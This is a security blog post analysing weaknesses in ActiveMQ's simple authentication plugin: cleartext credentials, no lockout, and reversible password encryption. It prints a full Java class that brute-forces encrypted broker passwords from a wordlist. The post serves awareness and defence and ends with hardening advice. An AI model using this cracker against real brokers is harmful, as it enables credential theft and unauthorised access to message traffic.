Thursday, August 15, 2013

Security Considerations for ActiveMQ's Simple Authentication Plugin

Apache ActiveMQ is a popular message broker that has several security features to help secure its deployment. User or client authentication typically a very important security requirement for enterprise applications and ActiveMQ offers two plugin based authentication mechanisms that need to be explicitly enabled and sometimes even coded based on your requirements.

ActiveMQ's Simple Authentication Plugin
In this blog post we will discuss ActiveMQ’s simple authentication plugin and analyze it from security perspective. ActiveMQ’s simple authentication plugin can be enabled by adding the simpleAuthenticationPlugin element to the broker configuration with the required user credentials as show in the image below.


Image shows ActiveMQ's simpleAuthenticationPlugin
The above configuration has two users, admin and general, assigned to two different groups, admins and general respectively.

Now that we have seen the sample simpleAuthenticationPlugin configuration, following are the important security considerations of using this plugin.
  1. It stores usernames and passwords in clear in the configuration files. Access to configuration file can therefore reveal user credentials to unauthorized users. For example, a backup administrator may not be the right person to know broker credentials. However, he will be able to view those if simpleAuthenticationPlugin is used in this fashion.
  2. It does not offer any protection against password bruteforce attacks. That is, there is no provision to enforce account lockout on multiple failed login attempts. This can be devastating if someone is able to bruteforce your admin password and then read all messages passing through the broker and even administer the broker.
Out of the two points discussed above, ActiveMQ tries to address item 1 by providing a capability that can be used to encrypt broker passwords using the password based encryption scheme before storing the passwords inside the configuration files. The password encryption scheme is based off the open source jasypt library’s StandardPBEStringEncryptor class. The image below shows the encrypted passwords for two ActiveMQ users.

ActiveMQ's encrypted passwords


Decrypting ActiveMQ Passwords
Since the passwords are encrypted and not hashed, it is possible to obtain the correct password if the encryption string is available or if it can be bruteforced. So I wrote a Java Class (code below) to subject the encrypted strings to a bruteforce attack from a wordlist which also contained the correct password. It took 240 seconds for 1,000,000 (1 million) decryption attempts at the rate of 4,166 unique passwords per second on a single thread and a single core. Impressive, isn’t it? 


Image shows successful password decryption with our custom class


The ActiveMQ binary can also be used to decrypt passwords from its configuration files and we can also script it. However, that would require us to have ActiveMQ binaries and may not as fast. Additionally, once a single password is cracked, we can use the obtained key to decrypt the other ones. You can also use JMSDigger to perform batch password decryption.



Example code to perform ActiveMQ's password decryption
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;

import org.jasypt.encryption.pbe.StandardPBEStringEncryptor;
import org.jasypt.exceptions.EncryptionOperationNotPossibleException;

public class AMQPasswordDecrypt {
       private String encryptedText;
       private StandardPBEStringEncryptor encryptor;

       public AMQPasswordDecrypt(String encryptedText) {
              this.encryptedText = encryptedText;
              this.encryptor = new StandardPBEStringEncryptor();
       }
      
       public String decrypt(String decryptionString) {
              try {
                     encryptor = new StandardPBEStringEncryptor();
                     encryptor.setPassword(decryptionString);
                     return(encryptor.decrypt(encryptedText));
              } catch (EncryptionOperationNotPossibleException ex) {
                     //Absorb this and return null since decrypt operation was not successful
                     return null;
              }
       }
      
       private static void showHelpAndExit() {
              System.out.println("Run as: \njava -cp <Classpath> AMQPasswordDecrypt \n\t<EncryptedActiveMQPassword> <FilePathForDecryptionStrings>");
              System.exit(0);
       }
      
       public String getEncryptedText() {
              return encryptedText;
       }
      
       public static void main(String... args) throws FileNotFoundException {
              if(args.length != 2)
                     showHelpAndExit();
             
              for(String arg: args) {
                     if(arg.equals("-h") || arg.equals("--h") || arg.equals("--help"))
                           showHelpAndExit();
              }
             
              AMQPasswordDecrypt brute = new AMQPasswordDecrypt(args[0]);
             
              Scanner in = new Scanner(new FileInputStream(args[1]));
              String decryptionString = "";
              String decryptedPassword = null;
             
              while(in.hasNextLine()) {
                     decryptionString = in.nextLine();
                     System.out.printf("Trying to decrypt %s with %s\n", brute.getEncryptedText(), decryptionString);

                     if((decryptedPassword = brute.decrypt(decryptionString) ) != null)
                           break;
              }
             
              if(decryptedPassword != null)
                     System.out.printf("Encrypted password = %s, Decrypted password = %s, Decryption String = %s", brute.getEncryptedText(), decryptedPassword, decryptionString);
              else
                     System.out.printf("%s could not be decrypted", brute.getEncryptedText());

              in.close();
       }
}
Conclusion
To summarize, if you are using ActiveMQ broker for business critical processes, you may want to use the simpleAuthenticationPlugin only for PoC or initial testing as it may not offer the level of security your environment needs. Consider implementing custom JAAS  (Java Authentication and Authorization Service) authentication plugin for better security. 

We will also have a blog post on writing JAAS based authentication plugin for ActiveMQ in near future. Stay tuned!

No comments: